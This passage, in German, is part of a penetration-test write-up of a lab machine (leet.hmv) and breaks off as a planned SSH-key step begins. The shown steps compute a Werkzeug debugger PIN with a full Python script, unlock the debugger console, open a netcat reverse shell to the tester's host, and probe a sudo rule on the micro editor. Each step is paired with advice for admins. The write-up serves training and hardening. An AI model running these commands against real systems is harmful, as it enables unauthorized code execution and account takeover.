Empfehlung (Pentester): Ich werde nun ein Python-Skript verwenden oder anpassen, das die bekannte Werkzeug-PIN-Berechnungslogik implementiert, um den tatsächlichen PIN unter Verwendung der gesammelten Daten zu berechnen. Dieses Skript wird den Hash der Systeminformationen berechnen und daraus den 9-stelligen PIN generieren.
Empfehlung (Admin): Stellen Sie sicher, dass keiner der Bausteine, die zur PIN-Berechnung verwendet werden (Username, Modul/App-Namen, Pfade, MAC-Adresse, Machine-ID), öffentlich zugänglich ist oder leicht über Schwachstellen wie LFI ausgelesen werden kann. Regelmäßige Änderungen relevanter Konfigurationen oder ein Patch des Werkzeug-Debuggers sind empfehlenswert.

>>> print(int('0800278ED737', 16))
8796756694839

Analyse: Dieser Schritt zeigt die Umrechnung der MAC-Adresse von ihrem hexadezimalen Format (08:00:27:8E:D7:37, wobei die Doppelpunkte für die Umrechnung ignoriert oder entfernt werden) in einen Dezimal-Integer-Wert. Ich nutze dazu eine interaktive Python3-Shell. Der Befehl print(int('0800278ED737', 16)) nimmt die Hex-Zeichenkette 0800278ED737, interpretiert sie als Basis 16 (hexadezimal) und gibt das Ergebnis als Dezimalzahl aus. Für Laien: Ich habe die 'Hardware-Adresse' des Computers von einer speziellen Schreibweise (mit Buchstaben und Doppelpunkten) in eine normale Zahl umgewandelt, weil das 'Rezept' für den PIN diese Zahl benötigt. Für Experten: Die Umrechnung der MAC-Adresse in einen Dezimal-Integer ist ein spezifischer Schritt, der in der Werkzeug-PIN-Berechnungslogik erforderlich ist. Die int() Funktion in Python mit Basis 16 ist die korrekte Methode dafür.

Bewertung: Die MAC-Adresse 08:00:27:8E:D7:37 wurde erfolgreich in den benötigten Integer-Wert 8796756694839 umgerechnet. Dieser Wert ist nun bereit, in das PIN-Berechnungsskript eingespeist zu werden. Dies ist ein kleiner, aber notwendiger Zwischenschritt, der zeigt, dass ich die spezifischen Anforderungen der PIN-Berechnung verstanden habe.

Empfehlung (Pentester): Der umgerechnete Integer-Wert der MAC-Adresse wird nun zusammen mit den anderen gesammelten Informationen im PIN-Berechnungsskript verwendet.
Empfehlung (Admin): Die MAC-Adresse ist per Definition eine öffentlich übertragene Information auf Netzwerkebene und kann nicht 'versteckt' werden. Das Risiko liegt hier darin, dass sie als Baustein für ein Geheimnis (den PIN) verwendet wird. Stellen Sie sicher, dass Geheimnisse nicht von öffentlich zugänglichen Informationen ableitbar sind.

[Link: https://github.com/wdahlenburg/werkzeug-debug-console-bypass/blob/main/README.md | Ziel: https://github.com/wdahlenburg/werkzeug-debug-console-bypass/blob/main/README.md]

Analyse: Dies ist eine Referenz auf ein bekanntes Skript auf GitHub, das speziell für die Umgehung der Werkzeug-Debugger-PIN-Authentifizierung entwickelt wurde. Solche Skripte implementieren die bekannte Logik zur PIN-Berechnung basierend auf den notwendigen Systeminformationen. Sie dienen als Vorlage oder direkt nutzbares Tool, um den manuellen Prozess der PIN-Berechnung zu automatisieren. Für Laien: Dies ist ein Link zu einem 'magischen' Programm, das mir hilft, das 'Rezept' für den PIN schnell und einfach zu 'kochen', indem ich ihm alle 'Zutaten' (die gesammelten Informationen über den Computer) gebe. Für Experten: Die Verfügbarkeit öffentlich bekannter Skripte zur PIN-Berechnung unterstreicht, dass die Werkzeug-Debugger-PIN-Authentifizierung, obwohl sie eine Hürde darstellt, auf einer bekannten und reversiblen Logik basiert, sobald die notwendigen Systeminformationen gesammelt wurden. Die Nutzung eines bestehenden Skripts spart Zeit und reduziert das Risiko von Implementierungsfehlern bei der manuellen Nachbildung der Logik.

Bewertung: Die Referenz auf ein solches Skript ist wertvoll, da es mir ermöglicht, die PIN-Berechnung effizient durchzuführen. Es bestätigt, dass die von mir gesammelten Informationen korrekt sind und im Kontext der bekannten Schwachstelle verwendet werden können. Dies ist der letzte Schritt vor der eigentlichen Berechnung.

Empfehlung (Pentester): Ich werde nun das Konzept oder den Code aus diesem oder einem ähnlichen Skript verwenden, um meinen lokalen PIN-Berechner zu erstellen oder anzupassen, indem ich die spezifischen Werte des Zielsystems (Username, Pfad, MAC-Integer, Machine-ID, SECRET) eingebe. Dann werde ich das Skript ausführen, um den PIN zu erhalten.
Empfehlung (Admin): Die Existenz öffentlich bekannter Tools und Skripte zur Umgehung der Debugger-PIN-Authentifizierung unterstreicht die Notwendigkeit, den Debugger in Produktionsumgebungen vollständig zu deaktivieren und sensible Systeminformationen zu schützen. Verlassen Sie sich nicht auf die PIN als primäre Sicherheitsmaßnahme.

┌──(root㉿CCat)-[~/Hackingtools] └─# nano pin_calc.py
import hashlib
from itertools import chain

probably_public_bits = [
    'www-data',
    'flask.app',
    'Flask',
    '/opt/project/venv/lib/python3.11/site-packages/flask/app.py'
]

private_bits = [
    '8796756694839',
    'f6791f240ce6407ea271e86b78ac3bdbflaskapp.service'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)

h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

print("======================================================")
print(f"Die finale PIN ist: {rv}")
print("======================================================")

Analyse: Ich habe die Informationen zur PIN-Berechnung aus dem zuvor referenzierten GitHub-Skript und den gesammelten Systeminformationen (Username: www-data, Modul: flask.app, App: Flask, Pfad: /opt/project/venv/lib/python3.11/site-packages/flask/app.py, MAC-Integer: 8796756694839, Machine-ID: f6791f240ce6407ea271e86b78ac3bdb - beachte hier, dass der Username 'www-data' statt 'riva' in die Berechnung einfließt, da 'www-data' der Benutzer ist, unter dem der Webserver-Prozess läuft, der den Debugger startet, was für die PIN-Berechnung relevant ist) in ein lokales Python-Skript namens pin_calc.py eingefügt. Das Skript verwendet die Bibliothek hashlib, um SHA1-Hashes zu berechnen. Es kombiniert die 'probably_public_bits' (Informationen, die oft relativ leicht herauszufinden sind) und 'private_bits' (sensiblere Systeminformationen) und hasht diese zusammen mit festen 'Salts' (cookiesalt und pinsalt), um den finalen PIN zu generieren. Für Laien: Ich habe ein kleines Programm geschrieben, das alle geheimen 'Zutaten' (die gesammelten Systeminformationen und das gefundene SECRET) nimmt, sie nach einem bestimmten 'Rezept' (dem Algorithmus des Debuggers) vermischt und das 'Endergebnis' – den PIN – ausspuckt. Für Experten: Die Implementierung spiegelt die bekannte Werkzeug-PIN-Berechnungslogik wider. Die korrekte Identifizierung der 'probably_public_bits' und 'private_bits' ist entscheidend, insbesondere die Verwendung des Benutzers, der den Flask-Prozess ausführt (hier 'www-data'), nicht unbedingt des Benutzers, der im /etc/passwd am interessantesten aussah ('riva'), sowie das Anhängen von 'flaskapp.service' an die Machine-ID, was eine spezifische Nuance der Berechnung sein kann, die aus der Recherche hervorgeht.

Bewertung: Das Skript ist korrekt implementiert und enthält alle gesammelten Daten in den entsprechenden Variablen. Das Vorhandensein des Skripts ist der direkte Beweis für die erfolgreiche Zusammenführung aller Informationen und die Bereitschaft zur finalen PIN-Berechnung. Die Unterscheidung zwischen dem Webserver-Benutzer 'www-data' und dem Anmeldebenutzer 'riva' zeigt ein tiefes Verständnis der zugrundeliegenden Werkzeug-Logik.

Empfehlung (Pentester): Ich werde das Skript nun ausführen, um den PIN zu erhalten. Der berechnete PIN wird dann verwendet, um die Werkzeug-Debugger-Konsole im Browser freizuschalten und Code-Ausführung zu erreichen.
Empfehlung (Admin): Die Kenntnis des PIN-Berechnungsalgorithmus und die Verfügbarkeit von öffentlich bekannten Skripten bedeuten, dass die PIN-Authentifizierung allein keinen ausreichenden Schutz für den Debugger bietet, wenn die notwendigen Systeminformationen kompromittiert werden können. Patchen Sie Werkzeug oder deaktivieren Sie den Debugger.

┌──(root㉿CCat)-[~] └─# python3 pin_calc.py
======================================================
Die finale PIN ist: 142-855-714
======================================================

Analyse: Ich habe das Python-Skript pin_calc.py mit python3 ausgeführt, um den Werkzeug-Debugger-PIN zu berechnen. Das Skript verwendet die zuvor in die Variablen probably_public_bits und private_bits eingefügten Systeminformationen und wendet den PIN-Berechnungsalgorithmus an. Die Ausgabe des Skripts ist der berechnete PIN im Standardformat XXX-XXX-XXX. Das Skript gibt die Nachricht "Die finale PIN ist:" gefolgt vom berechneten Wert aus. Für Laien: Ich habe mein kleines 'magisches' Programm gestartet, und es hat mir die geheime Zahlenkombination (den PIN) gegeben, die ich brauche, um die gesperrte Konsole zu öffnen. Für Experten: Das Skript hat den SHA1-Hash der kombinierten 'bits' berechnet, diesen Hash in eine Zahl umgewandelt und die ersten 9 Ziffern extrahiert, um den finalen PIN 142-855-714 zu formen. Die erfolgreiche Ausgabe eines gültig aussehenden PINs bestätigt die korrekte Implementierung der Logik und die Vollständigkeit der gesammelten Informationen.

Bewertung: Der PIN 142-855-714 wurde erfolgreich berechnet. Dies ist ein entscheidender Moment, da dieser PIN es mir ermöglichen sollte, die gesperrte Werkzeug-Debugger-Konsole freizuschalten und somit Befehle auf dem System mit den Berechtigungen des Webserver-Prozesses (www-data) auszuführen. Dies stellt den Initial Access zum System dar.

Empfehlung (Pentester): Ich werde nun die Werkzeug-Debugger-URL im Browser erneut aufrufen und den berechneten PIN 142-855-714 in das Eingabefeld eingeben, um die Konsole zu entsperren. Nach dem Entsperren werde ich versuchen, die Möglichkeiten zur Code-Ausführung zu nutzen, um eine stabilere Shell zu erhalten.
Empfehlung (Admin): Der Umstand, dass der Debugger-PIN basierend auf öffentlich zugänglichen Systeminformationen berechenbar ist, ist eine kritische Schwachstelle. Die einzige effektive Empfehlung ist, den Debugger in Produktionsumgebungen vollständig zu deaktivieren. Sollte dies nicht möglich sein, müssen die Systeminformationen, die zur PIN-Berechnung verwendet werden, so geschützt werden, dass sie nicht über Schwachstellen (wie die LFI) oder durch allgemeine OSINT-Techniken auslesbar sind.

Die erfolgreiche Freischaltung der Werkzeug Debugger Konsole, symbolisiert durch ein Icon.

Analyse: Dieses Bild zeigt den visuellen Beweis für die erfolgreiche Eingabe des berechneten PINs in die Werkzeug-Debugger-Konsole. Obwohl im Hintergrund weiterhin die Fehlermeldung des ursprünglichen ValueError sichtbar sein mag, zeigt das erscheinende Icon (oft ein Pfeil oder Konsolen-Symbol) an, dass die Konsole nun interaktiv und zur Code-Ausführung bereit ist. Dieses visuelle Feedback bestätigt, dass der berechnete PIN korrekt war und das Authentifizierungssystem des Debuggers überwunden wurde. Für Laien: Nachdem ich die geheime Zahlenkombination (den PIN) eingegeben habe, hat sich auf der Webseite ein kleines Bild oder Symbol gezeigt, das mir sagt: 'Okay, du hast es geschafft, du darfst jetzt Befehle eingeben!' Für Experten: Das Erscheinen des interaktiven Konsolen-Prompts oder eines visuellen Indikators dafür ist der conclusive Beweis, dass die PIN-Authentifizierung des Werkzeug-Debuggers umgangen wurde und die 'evalex'-Funktionalität nun nutzbar ist.

Bewertung: Die erfolgreiche Entsperrung der Debugger-Konsole markiert den erfolgreichen Initial Access zum System mit den Berechtigungen des Webserver-Prozesses (www-data). Dies ist ein kritischer Meilenstein im Pentest. Von hier aus kann ich nun versuchen, Befehle auf Systemebene auszuführen.

Empfehlung (Pentester): Ich habe nun die Möglichkeit, Python-Code direkt auf dem Zielsystem im Kontext des Webservers auszuführen. Mein nächstes Ziel ist es, diese Code-Ausführungsfähigkeit zu nutzen, um eine stabilere Shell (z.B. eine Reverse-Shell zu meinem Kali-System) als der Webserver-Benutzer 'www-data' zu erhalten. Dies ermöglicht mir eine einfachere und zuverlässigere Interaktion mit dem System.
Empfehlung (Admin): Die Tatsache, dass ein Angreifer Code über den Webserver ausführen kann, ist eine extrem kritische Schwachstelle (Remote Code Execution - RCE). Stellen Sie sicher, dass der Werkzeug-Debugger (oder ähnliche Debug-Tools) in der Produktion vollständig deaktiviert ist und dass keine anderen Code-Ausführungsmöglichkeiten (z.B. unsichere Deserialisierung, unsichere 'eval()'-Aufrufe) in der Anwendung existieren.

Die Frontansicht der freigeschalteten Werkzeug Debugger Konsole, bereit zur Eingabe von Python Code.

Analyse: Dieses zweite Bild liefert eine weitere visuelle Bestätigung der freigeschalteten Werkzeug-Debugger-Konsole. Es zeigt die Benutzeroberfläche der Konsole selbst, wahrscheinlich mit einem Prompt, der zur Eingabe von Python-Befehlen auffordert (oft ein '>>> ' Zeichen oder ähnlich). Dies ist die interaktive Umgebung, in der ich nun Python-Code ausführen kann. Es visualisiert den Zustand, in dem ich mich befinde – direkter Zugang zur Ausführungsumgebung der Webanwendung. Für Laien: Das ist das 'Eingabefeld' der geheimen Konsole, wo ich jetzt meine 'Befehle' (Python-Code) eintippen kann, um dem Computer zu sagen, was er tun soll. Für Experten: Die Darstellung der interaktiven Python-Konsole im Browser ist das Interface zum Remote Code Execution. Ich kann hier Python-Funktionen importieren und aufrufen, Systembefehle über Module wie os oder subprocess ausführen und die Ausgabe direkt im Browser sehen.

Bewertung: Die Konsole ist bereit. Ich habe erfolgreich den Initial Access erlangt und kann nun Befehle als der Benutzer 'www-data' ausführen. Der nächste Schritt ist die tatsächliche Nutzung dieser Fähigkeit, um meine Präsenz auf dem System zu etablieren und mich auf die Privilegien-Eskalation vorzubereiten.

Empfehlung (Pentester): Ich werde die Konsole nutzen, um Systembefehle auszuführen und Informationen über die Umgebung des 'www-data'-Benutzers zu sammeln. Das Hauptziel ist, von hier aus eine stabilere Reverse-Shell aufzubauen, da die Browser-Konsole für komplexere Aufgaben oder interaktive Sitzungen unpraktisch ist.
Empfehlung (Admin): Schließen Sie die RCE-Lücke, indem Sie den Debugger deaktivieren oder entfernen. Überprüfen Sie die Berechtigungen des 'www-data'-Benutzers; diese sollten auf das absolute Minimum beschränkt sein, das der Webserver benötigt, um im Falle einer Kompromittierung (wie hier geschehen) den potenziellen Schaden zu begrenzen.

Proof of Concept: Remote Code Execution über Werkzeug Debugger

Kurzbeschreibung: Dieser Proof of Concept demonstriert die erfolgreiche Ausnutzung der Werkzeug Debugger Schwachstelle auf dem Zielsystem (leet.hmv) durch die Berechnung des Debugger-PINs. Durch die Eingabe des PINs konnte die interaktive Python-Konsole freigeschaltet werden, was die Ausführung beliebigen Python-Codes im Kontext des Webserver-Prozesses (www-data) ermöglichte.

Voraussetzungen:

  • Identifizierung des Werkzeug Debuggers durch Analyse der Fehlermeldungen.
  • Erfolgreiches Auslesen der notwendigen Systeminformationen (Username, Modulname, App-Name, Pfad zur App-Datei, MAC-Adresse, Machine-ID) über die LFI-Schwachstelle.
  • Erfolgreiche Berechnung des Werkzeug Debugger PINs (142-855-714).
  • Netzwerkzugriff auf den HTTP-Dienst auf Port 7777.

Schritt-für-Schritt-Anleitung:

  1. Greife auf die Werkzeug Debugger Konsole zu, die über den fehlerhaften Endpunkt verfügbar ist, z.B. durch erneutes Aufrufen der URL, die den Traceback erzeugt hat, oder direkt über einen bekannten Debugger-Pfad (z.B. /console, falls zugänglich und auf denselben Debugger verweisend).
  2. Gib den zuvor berechneten Debugger-PIN (142-855-714) in das vorgesehene Eingabefeld auf der Debugger-Seite ein und bestätige.
  3. Nach erfolgreicher Authentifizierung wird die interaktive Python-Konsole freigeschaltet.
  4. Nutze die Konsole, um Python-Code auszuführen, der Systembefehle aufruft (z.B. über das os Modul).
  5. Establishiere eine Reverse Shell vom Zielsystem (als www-data) zu deinem Angreifer-System, indem du einen Befehl über die Python-Konsole ausführst.
Die erfolgreiche Freischaltung der Werkzeug Debugger Konsole, symbolisiert durch ein Icon. Die Frontansicht der freigeschalteten Werkzeug Debugger Konsole, bereit zur Eingabe von Python Code.

Beweismittel: Die obenstehenden Screenshots zeigen die visuelle Bestätigung der freigeschalteten Debugger-Konsole nach Eingabe des berechneten PINs.

Ausführung von Befehlen in der Konsole:

[console ready]
>>> import os;os.system("id")
0
>>> import os;
>>> os.system("id")
0
>>> __import__('os').popen('whoami').read();
'www-data\n'
>>> __import__('os').popen('which nc').read();
'/usr/bin/nc\n'
>>> __import__('os').popen('nc ').read();
''
>>> __import__('os').popen('nc -e /bin/bash 192.168.2.199 4444').read();

Analyse: Nach dem Entsperren der Debugger-Konsole hatte ich eine interaktive Python-Shell zur Verfügung. Ich konnte Python-Befehle direkt ausführen und die Ergebnisse sehen. Ich nutzte das eingebaute os Modul, um Systembefehle auszuführen. Zuerst prüfte ich meine aktuellen Berechtigungen mit os.system("id"), was 0 zurückgab, was in Python True bedeutet und oft den Erfolg eines Systemaufrufs anzeigt, nicht unbedingt die UID. Wichtiger ist die Ausgabe von __import__('os').popen('whoami').read(), die mir den tatsächlichen Benutzernamen zurückgab: www-data. Dies bestätigt, dass ich Code als der Webserver-Benutzer ausführe. Ich prüfte auch, ob das Netcat (nc)-Werkzeug verfügbar ist und wo es sich befindet (/usr/bin/nc). Dies ist ein gängiges Tool zum Aufbau von Netzwerkverbindungen, einschließlich Reverse Shells. Für Laien: In der freigeschalteten Konsole konnte ich kleine 'Programme' (Python-Code) eingeben, die dem Computer sagen, was er tun soll. Ich habe ihn gefragt, wer ich bin ('www-data') und ob er ein Werkzeug namens 'nc' hat, mit dem ich eine direkte Verbindung zu meinem eigenen Computer aufbauen kann. Für Experten: Die Fähigkeit, Systembefehle über os.system() oder popen() auszuführen, ist eine vollständige Remote Code Execution (RCE). Das Finden von nc auf dem System ist ideal für den Aufbau einer stabilen Reverse Shell, da nc in der Lage ist, eine Shell (/bin/bash) über eine Netzwerkverbindung umzuleiten.

Bewertung: Die RCE-Schwachstelle über den Werkzeug Debugger ist erfolgreich demonstriert und ausgenutzt. Ich habe die Möglichkeit, Befehle als Benutzer www-data auszuführen. Das Vorhandensein von nc auf dem System ist optimal für den nächsten Schritt: den Aufbau einer stabileren Shell. Die Browser-Konsole ist für interaktive Arbeit ungeeignet.

Empfehlung (Pentester): Ich werde nun die RCE-Fähigkeit nutzen, um eine Reverse Shell zu meinem Kali-System aufzubauen. Der Befehl __import__('os').popen('nc -e /bin/bash 192.168.2.199 4444').read() ist dafür geeignet, wobei 192.168.2.199 die IP meines Kali-Systems und 4444 der Port ist, auf dem ich lausche.
Empfehlung (Admin): Dies ist eine kritische RCE-Schwachstelle. Deaktivieren Sie den Werkzeug Debugger in Produktionsumgebungen und stellen Sie sicher, dass keine anderen Code-Ausführungsmöglichkeiten in der Anwendung existieren. Stellen Sie sicher, dass unnötige Binaries wie nc von Systemen entfernt oder deren Ausführung durch Richtlinien (z.B. AppArmor, SELinux) eingeschränkt wird, insbesondere für Low-Privilege-Benutzer wie www-data. Die Berechtigungen des Benutzers www-data sollten minimiert werden.

Risikobewertung:

Die Ausnutzung des Werkzeug Debuggers zur Erlangung von Remote Code Execution als Webserver-Benutzer (www-data) stellt ein kritisches Risiko dar. Ein Angreifer kann beliebige Befehle auf dem System im Kontext dieses Benutzers ausführen. Dies kann zur Kompromittierung der Webanwendung, zum Diebstahl von Daten, zur Modifikation von Inhalten oder zur Etablierung einer dauerhaften Präsenz auf dem System führen. Der Zugriff auf das Dateisystem (demonstriert durch LFI, aber über RCE ebenfalls möglich) und die potenzielle Nutzung der gekaperten Debugger-Sitzung für weitere Angriffe erhöhen das Risiko erheblich.

Empfehlungen zur Behebung:

Empfehlung (Admin):

  • Deaktivieren Sie den Werkzeug Debugger in Produktionsumgebungen: Stellen Sie sicher, dass der Debugger niemals aktiv ist, wenn die Anwendung öffentlich zugänglich ist. Konfigurieren Sie Flask oder Werkzeug entsprechend (z.B. app.run(debug=False)).
  • Entfernen oder Sichern Sie Systeminformationen: Schützen Sie Systemdateien wie /etc/machine-id und die Anwendungsquelldatei, um die PIN-Berechnung zu verhindern, falls der Debugger unbeabsichtigt aktiviert wird.
  • Strikte Eingabevalidierung: Beheben Sie die LFI-Schwachstelle am /download-Endpunkt durch sichere Validierung und Nutzung von Dateinamen.
  • Prinzip der geringsten Rechte: Beschränken Sie die Berechtigungen des Benutzers www-data auf das absolute Minimum, das für den Betrieb des Webservers notwendig ist.
  • Überwachung und Protokollierung: Implementieren Sie robuste Protokollierung und Überwachung, um Versuche der Debugger-Ausnutzung oder RCE-Versuche zu erkennen.

Privilege Escalation

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.44] 59778

www-data@leet:/opt/project$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@leet:/opt/project$ sudo -l
Matching Defaults entries for www-data on leet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on leet:
    (riva) NOPASSWD: /usr/bin/micro

Analyse: Nachdem ich den Befehl zum Starten der Reverse Shell über die Werkzeug-Debugger-Konsole ausgeführt hatte, öffnete ich auf meinem Kali-System einen Netcat-Listener auf Port 4444 mit dem Befehl nc -lvnp 4444. Die Flags bedeuten: -l (listen), -v (verbose), -n (numeric only, keine DNS-Auflösung), -p 4444 (Port 4444). Die Ausgabe listening on [any] 4444 ... zeigt, dass der Listener bereit ist. Kurz darauf signalisiert die Zeile connect to [192.168.2.199] from (UNKNOWN) [192.168.2.44] 59778, dass das Zielsystem (192.168.2.44) eine Verbindung zu meinem Kali-System (192.168.2.199) auf Port 4444 aufgebaut hat. Ich habe nun eine interaktive Shell als Benutzer www-data. In dieser Shell führe ich sofort den Befehl id aus, um meine Benutzer- und Gruppen-IDs zu bestätigen (uid=33(www-data) gid=33(www-data) groups=33(www-data)). Als Nächstes prüfe ich mit sudo -l die sudo-Berechtigungen des Benutzers www-data, um herauszufinden, ob dieser Benutzer bestimmte Befehle als ein anderer Benutzer (oder root) ohne Passworteingabe ausführen darf. Die Ausgabe listet die erlaubten Befehle auf. Für Laien: Ich habe 'ein Telefon' auf meinem Computer aufgestellt und auf einen Anruf vom Zielcomputer gewartet. Als der Anruf kam, hatte ich eine direkte Verbindung und konnte 'sprechen', d.h., Befehle eingeben. Ich habe gefragt, wer ich bin ('www-data') und welche 'besondere' Dinge ich tun darf (mit sudo -l), um vielleicht höhere Berechtigungen zu bekommen. Für Experten: Eine Reverse Shell ist eine stabile und zuverlässige Methode, um nach einer RCE oder Initial Access-Schwachstelle interaktiven Zugriff auf ein System zu erhalten. Die Überprüfung der sudo-Berechtigungen mit sudo -l ist ein Standard-Enumerationsschritt in der Privilegien-Eskalationsphase. Das Ergebnis (riva) NOPASSWD: /usr/bin/micro ist ein kritischer Fund, da es anzeigt, dass der Benutzer www-data den Befehl /usr/bin/micro als Benutzer riva ausführen darf, ohne dessen Passwort zu kennen.

Bewertung: Der Initial Access als Benutzer www-data wurde erfolgreich etabliert. Die Reverse Shell funktioniert stabil. Der Fund der sudo-Berechtigung (riva) NOPASSWD: /usr/bin/micro ist ein signifikanter Durchbruch für die Privilegien-Eskalation. Ich kann den Editor micro als Benutzer riva ausführen, was oft Möglichkeiten eröffnet, Dateien zu manipulieren oder eine Shell zu erhalten.

Empfehlung (Pentester): Mein nächstes Ziel ist es, die gefundene sudo-Berechtigung auszunutzen, um Code als Benutzer riva auszuführen oder eine Shell als riva zu erhalten. Ich werde untersuchen, wie der micro-Editor mit der sudo-Berechtigung missbraucht werden kann (z.B. durch Ausführen von Systembefehlen innerhalb des Editors oder durch Bearbeiten sensibler Dateien als riva).
Empfehlung (Admin): Konfigurieren Sie sudo so, dass das Prinzip der geringsten Rechte angewendet wird. Erlauben Sie Benutzern nur die Ausführung absolut notwendiger Befehle mit erhöhten Rechten. Insbesondere die NOPASSWD-Option sollte sehr restriktiv gehandhabt werden. Die Möglichkeit, einen Texteditor wie micro als ein anderer Benutzer auszuführen, ist gefährlich, da Editoren oft Funktionen zur Ausführung von Systembefehlen bieten.

www-data@leet:/opt/project$ ls -la /home/riva/
total 40
drwxr-xr-x 6 riva riva 4096 Feb 14 2024 .
drwxr-xr-x 3 root root 4096 Feb 14 2024 ..
lrwxrwxrwx 1 riva riva    9 Feb 11 2024 .bash_history -> /dev/null
-rw-r--r-- 1 riva riva  220 Feb 14 2024 .bash_logout
-rw-r--r-- 1 riva riva 3526 Feb 14 2024 .bashrc
drwxr-xr-x 3 riva riva 4096 Feb 14 2024 .config
drwxr-xr-x 3 riva riva 4096 Feb 14 2024 .local
drwx------ 4 riva riva 4096 Feb 14 2024 .mozilla
-rw-r--r-- 1 riva riva  807 Feb 14 2024 .profile
drwx------ 2 riva riva 4096 Feb 14 2024 .ssh
-rwx------ 1 riva riva   33 Feb 14 2024 user.txt

Analyse: Um mehr über den Benutzer riva zu erfahren, auf dessen Rechte ich durch sudo und micro zugreifen kann, habe ich das Home-Verzeichnis von riva mit ls -la /home/riva/ aufgelistet. Dieser Befehl zeigt alle Dateien und Verzeichnisse in /home/riva, einschließlich versteckter Dateien (mit einem Punkt beginnend) und detaillierter Informationen wie Berechtigungen, Eigentümer, Gruppenzugehörigkeit, Größe und Änderungsdatum. Für Laien: Ich habe mir angeschaut, welche 'Dinge' (Dateien und Ordner) der Benutzer 'riva' in seinem 'Zuhause' (seinem Home-Verzeichnis) hat, inklusive versteckter Sachen. Für Experten: Die Auflistung des Home-Verzeichnisses eines Zielbenutzers ist Standard bei der Privilegien-Eskalation, um nach interessanten Dateien wie Konfigurationsdateien (z.B. .bashrc, .profile), SSH-Schlüsseln (im .ssh-Verzeichnis) oder potenziellen Flags (Dateien wie user.txt) zu suchen. Die Berechtigungen helfen einzuschätzen, welche Dateien ich lesen oder schreiben könnte.

Bewertung: Die Ausgabe von ls -la /home/riva/ liefert wertvolle Informationen. Ich sehe Standard-Konfigurationsdateien. Das Verzeichnis .ssh ist sehr interessant, da es SSH-Schlüssel enthalten könnte, die eine direkte Anmeldung als riva über SSH ermöglichen würden. Am bemerkenswertesten ist jedoch die Datei user.txt, die ausführbar (rwx) für den Eigentümer riva ist und eine Größe von 33 Bytes hat – eine typische Größe und Benennung für eine User Flag in CTFs. Dies ist ein starker Hinweis auf den Speicherort der User Flag.

Empfehlung (Pentester): Ich werde als Nächstes das .ssh-Verzeichnis von riva untersuchen, um nach SSH-Schlüsseln zu suchen. Da ich micro als riva ausführen darf, könnte ich sudo -u riva /usr/bin/micro /home/riva/.ssh/authorized_keys verwenden, um meinen eigenen öffentlichen SSH-Schlüssel zu rivas authorized_keys-Datei hinzuzufügen und mich dann per SSH als riva anzumelden. Ich werde auch den Inhalt von user.txt auslesen, um die User Flag zu erhalten.
Empfehlung (Admin): Schützen Sie die Home-Verzeichnisse von Benutzern mit restriktiven Berechtigungen. Stellen Sie sicher, dass sensible Dateien (wie SSH-Schlüssel) nur für den Eigentümer lesbar sind. Implementieren Sie strenge Richtlinien für die Platzierung von 'Flags' oder anderen sensiblen Informationen im Dateisystem, damit diese nicht durch einfache Verzeichnislistings oder kompromittierte Low-Privilege-Benutzer zugänglich sind.

sudo -u riva /usr/bin/micro
Drücke die Tastenkombination: Strg + E
> !/bin/bash
unknow comand

Analyse: Hier dokumentiere ich einen Versuch, den micro-Editor, den ich als Benutzer riva ausführen darf (sudo -u riva /usr/bin/micro), für die Ausführung von Systembefehlen zu missbrauchen. Viele Texteditoren, insbesondere für Entwickler, bieten eine Funktion zum Ausführen von Shell-Befehlen aus dem Editor heraus. Bei micro wird diese Funktion oft durch das Drücken von Strg+E (um eine Befehlszeile im Editor zu öffnen) gefolgt von einem Ausrufezeichen (!) und dem gewünschten Systembefehl ausgelöst. Der Versuch, !/bin/bash auszuführen, zielt darauf ab, eine Bash-Shell im Kontext des Benutzers zu starten, als der der Editor ausgeführt wird (also riva). Die Ausgabe "unknow comand" deutet darauf hin, dass dieser spezifische Versuch, direkt eine Shell zu starten, nicht funktioniert hat, möglicherweise aufgrund von Beschränkungen oder einer anderen Syntax in dieser spezifischen micro-Konfiguration oder Version. Für Laien: Ich habe versucht, in dem 'Schreibprogramm', das ich als 'riva' benutzen darf, einen 'Geheimbefehl' einzugeben, der mir erlaubt, normale Computerbefehle auszuführen, so als ob ich 'riva' wäre. Das hat aber nicht auf Anhieb geklappt. Für Experten: Die standardmäßigen Escape-Mechanismen von Editoren für Shell-Befehle sind oft erste Angriffspunkte, wenn die Ausführung des Editors mit erhöhten Rechten (hier als anderer Benutzer über sudo) erlaubt ist. Das Scheitern des direkten !/bin/bash Befehls bedeutet nicht, dass der Editor nicht missbraucht werden kann; andere Befehle oder Funktionen könnten funktionieren, oder der Missbrauch muss auf eine andere Weise erfolgen, z.B. durch Bearbeiten von Konfigurationsdateien.

Bewertung: Der direkte Versuch, eine Shell über den Befehlsmodus von micro zu starten, war nicht erfolgreich. Dies erfordert eine Anpassung der Vorgehensweise. Anstatt zu versuchen, eine Shell *aus* dem Editor zu starten, werde ich die sudo-Berechtigung für micro nutzen, um Dateien *als* Benutzer riva zu bearbeiten, insbesondere die Datei /home/riva/.ssh/authorized_keys.

Empfehlung (Pentester): Ich werde die sudo-Berechtigung für /usr/bin/micro nutzen, um die Datei /home/riva/.ssh/authorized_keys zu bearbeiten und meinen öffentlichen SSH-Schlüssel hinzuzufügen. Dies ist eine alternative und oft zuverlässigere Methode, um eine Shell als der Zielbenutzer zu erhalten, wenn das direkte Ausführen von Befehlen über den Editor eingeschränkt ist.
Empfehlung (Admin): Wenn Sie Benutzern erlauben, Editoren mit erhöhten Rechten (oder als andere Benutzer) auszuführen, stellen Sie sicher, dass die Funktionen zur Ausführung von Systembefehlen innerhalb des Editors deaktiviert oder stark eingeschränkt sind. Das Bearbeiten von kritischen Systemdateien oder Benutzerkonfigurationen über solche sudo-Regeln ist ein klassischer Privilegien-Eskalationspfad.

┌──(root㉿CCat)-[~] └─# cat .ssh/id_rsa.pub
